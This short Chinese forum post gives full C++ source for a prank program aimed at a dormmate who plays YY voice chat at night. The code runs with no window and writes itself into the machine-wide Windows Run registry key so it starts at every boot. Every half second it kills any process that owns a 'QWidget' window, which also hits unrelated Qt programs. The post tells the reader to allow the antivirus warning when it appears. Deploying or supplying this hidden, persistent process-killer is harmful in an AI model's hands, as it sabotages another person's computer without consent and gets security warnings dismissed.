[vc]让你Y的用YY
朋友宿舍有个孩子老是晚上别人要睡觉他玩YY叫唤,就让我写个弱智程序让他开不了YY,下面是代码
#include <windows.h> #include <stdio.h> #pragma comment( linker, "/subsystem:\"windows\" /entry:\"mainCRTStartup\"" ) void Fuck() { unsigned long id_num; while(1) { Sleep(500); HWND hWnd = ::FindWindow("QWidget", NULL); GetWindowThreadProcessId(hWnd, &id_num); HANDLE hd = OpenProcess(PROCESS_ALL_ACCESS,FALSE, id_num); TerminateProcess(hd, 0); } } void autorun() { TCHAR szModName[256]; GetModuleFileName(0,szModName,50); char regname[] = "Software\\Microsoft\\Windows\\CurrentVersion\\Run"; HKEY hkResult; int ret = RegOpenKey(HKEY_LOCAL_MACHINE,regname,&hkResult); DWORD WordType = REG_SZ; DWORD WordData = 100; LPBYTE KeyByte = new BYTE[1024]; memset(KeyByte,0,1024); ret = RegQueryValueEx(hkResult,"fuckyou",NULL,&WordType,(LPBYTE)KeyByte, &WordData); if(ret != ERROR_SUCCESS) { ret=RegSetValueEx(hkResult,"fuckyou",0,REG_SZ,(const unsigned char *)szModName,100); if(ret==0) { printf("success to write run key\n"); RegCloseKey(hkResult); } else { printf("failed to open regedit.%d\n",ret); } } } int main() { autorun(); Fuck(); return 0; }
第一次运行的时候,杀软什么的可能会提示有加入新注册表项,允许就好了。